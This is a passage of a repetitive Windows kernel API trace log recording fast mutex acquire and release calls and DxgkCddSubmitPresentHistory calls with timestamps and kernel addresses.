ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.848] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.848] DxgkCddSubmitPresentHistory () returned 0x0 [0146.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.880] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.880] DxgkCddSubmitPresentHistory () returned 0x0 [0146.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.912] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.912] DxgkCddSubmitPresentHistory () returned 0x0 [0146.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.944] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.944] DxgkCddSubmitPresentHistory () returned 0x0 [0146.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.960] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.960] DxgkCddSubmitPresentHistory () returned 0x0 [0146.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.992] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.992] DxgkCddSubmitPresentHistory () returned 0x0 [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0147.957] DxgkCddSubmitPresentHistory () returned 0x0 [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0147.957] DxgkCddSubmitPresentHistory () returned 0x0 [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.965] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0147.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.965] DxgkCddSubmitPresentHistory () returned 0x0 [0147.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.983] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0147.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.983] DxgkCddSubmitPresentHistory () returned 0x0 [0147.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.999] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0147.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.999] DxgkCddSubmitPresentHistory () returned 0x0 [0147.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.999] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0147.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0147.999] DxgkCddSubmitPresentHistory () returned 0x0 [0148.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.039] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.039] DxgkCddSubmitPresentHistory () returned 0x0 [0148.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.055] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.055] DxgkCddSubmitPresentHistory () returned 0x0 [0148.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.056] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.056] DxgkCddSubmitPresentHistory () returned 0x0 [0148.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.071] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.071] DxgkCddSubmitPresentHistory () returned 0x0 [0148.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.072] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.072] DxgkCddSubmitPresentHistory () returned 0x0 [0148.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.087] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.087] DxgkCddSubmitPresentHistory () returned 0x0 [0148.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.103] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.103] DxgkCddSubmitPresentHistory () returned 0x0 [0148.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.119] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.119] DxgkCddSubmitPresentHistory () returned 0x0 [0148.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.119] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.119] DxgkCddSubmitPresentHistory () returned 0x0 [0148.205] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.205] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.205] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.205] DxgkCddSubmitPresentHistory () returned 0x0 [0148.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.237] DxgkCddSubmitPresentHistory () returned 0x0 [0148.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.310] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.310] DxgkCddSubmitPresentHistory () returned 0x0 [0148.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.315] DxgkCddSubmitPresentHistory () returned 0x0 [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.354] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.354] DxgkCddSubmitPresentHistory () returned 0x0 [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.354] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.354] DxgkCddSubmitPresentHistory () returned 0x0 [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.354] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.354] DxgkCddSubmitPresentHistory () returned 0x0 [0148.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.370] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.370] DxgkCddSubmitPresentHistory () returned 0x0 [0148.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.409] DxgkCddSubmitPresentHistory () returned 0x0 [0148.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.443] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.443] DxgkCddSubmitPresentHistory () returned 0x0 [0148.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.475] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.475] DxgkCddSubmitPresentHistory () returned 0x0 [0148.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.506] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.506] DxgkCddSubmitPresentHistory () returned 0x0 [0148.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.506] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.506] DxgkCddSubmitPresentHistory () returned 0x0 [0148.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.506] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.506] DxgkCddSubmitPresentHistory () returned 0x0 [0148.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.537] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.537] DxgkCddSubmitPresentHistory () returned 0x0 [0148.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.550] DxgkCddSubmitPresentHistory () returned 0x0 [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.583] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.583] DxgkCddSubmitPresentHistory () returned 0x0 [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.583] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.583] DxgkCddSubmitPresentHistory () returned 0x0 [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.583] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.583] DxgkCddSubmitPresentHistory () returned 0x0 [0148.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.619] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.619] DxgkCddSubmitPresentHistory () returned 0x0 [0148.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.644] DxgkCddSubmitPresentHistory () returned 0x0 [0148.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.644] DxgkCddSubmitPresentHistory () returned 0x0 [0148.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.645] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.645] DxgkCddSubmitPresentHistory () returned 0x0 [0148.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.659] DxgkCddSubmitPresentHistory () returned 0x0 [0148.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0148.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.691] DxgkCddSubmitPresentHistory () returned 0x0 [0148.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.691] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.691] DxgkCddSubmitPresentHistory () returned 0x0 [0148.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.691] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.691] DxgkCddSubmitPresentHistory () returned 0x0 [0148.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.723] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.723] DxgkCddSubmitPresentHistory () returned 0x0 [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.760] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.760] DxgkCddSubmitPresentHistory () returned 0x0 [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.760] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.760] DxgkCddSubmitPresentHistory () returned 0x0 [0148.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.791] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011ff330) [0148.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.791] DxgkCddSubmitPresentHistory () returned 0x0 [0148.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.791] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.791] DxgkCddSubmitPresentHistory () returned 0x0 [0148.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.818] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.818] DxgkCddSubmitPresentHistory () returned 0x0 [0148.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.849] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.849] DxgkCddSubmitPresentHistory () returned 0x0 [0148.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.849] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.849] DxgkCddSubmitPresentHistory () returned 0x0 [0148.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.896] DxgkCddSubmitPresentHistory () returned 0x0 [0148.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.896] DxgkCddSubmitPresentHistory () returned 0x0 [0148.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011ff330) [0148.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.909] DxgkCddSubmitPresentHistory () returned 0x0 [0148.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.925] DxgkCddSubmitPresentHistory () returned 0x0 [0148.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.959] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0148.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.959] DxgkCddSubmitPresentHistory () returned 0x0 [0148.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.960] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.960] DxgkCddSubmitPresentHistory () returned 0x0 [0148.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.989] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011ff330) [0148.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.989] DxgkCddSubmitPresentHistory () returned 0x0 [0148.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.989] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0148.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.989] DxgkCddSubmitPresentHistory () returned 0x0 [0149.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0149.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.003] DxgkCddSubmitPresentHistory () returned 0x0 [0149.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.003] DxgkCddSubmitPresentHistory () returned 0x0 [0149.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011ff330) [0149.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.036] DxgkCddSubmitPresentHistory () returned 0x0 [0149.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.036] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.036] DxgkCddSubmitPresentHistory () returned 0x0 [0149.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.066] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0149.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.066] DxgkCddSubmitPresentHistory () returned 0x0 [0149.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.066] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.066] DxgkCddSubmitPresentHistory () returned 0x0 [0149.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.081] DxgkCddSubmitPresentHistory () returned 0x0 [0149.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011ff330) [0149.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.097] DxgkCddSubmitPresentHistory () returned 0x0 [0149.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.097] DxgkCddSubmitPresentHistory () returned 0x0 [0149.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.113] DxgkCddSubmitPresentHistory () returned 0x0 [0149.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.149] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.149] DxgkCddSubmitPresentHistory () returned 0x0 [0149.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.149] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0149.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.149] DxgkCddSubmitPresentHistory () returned 0x0 [0149.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.182] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.182] DxgkCddSubmitPresentHistory () returned 0x0 [0149.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.182] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000130ecd0) [0149.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.182] DxgkCddSubmitPresentHistory () returned 0x0 [0149.215] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) 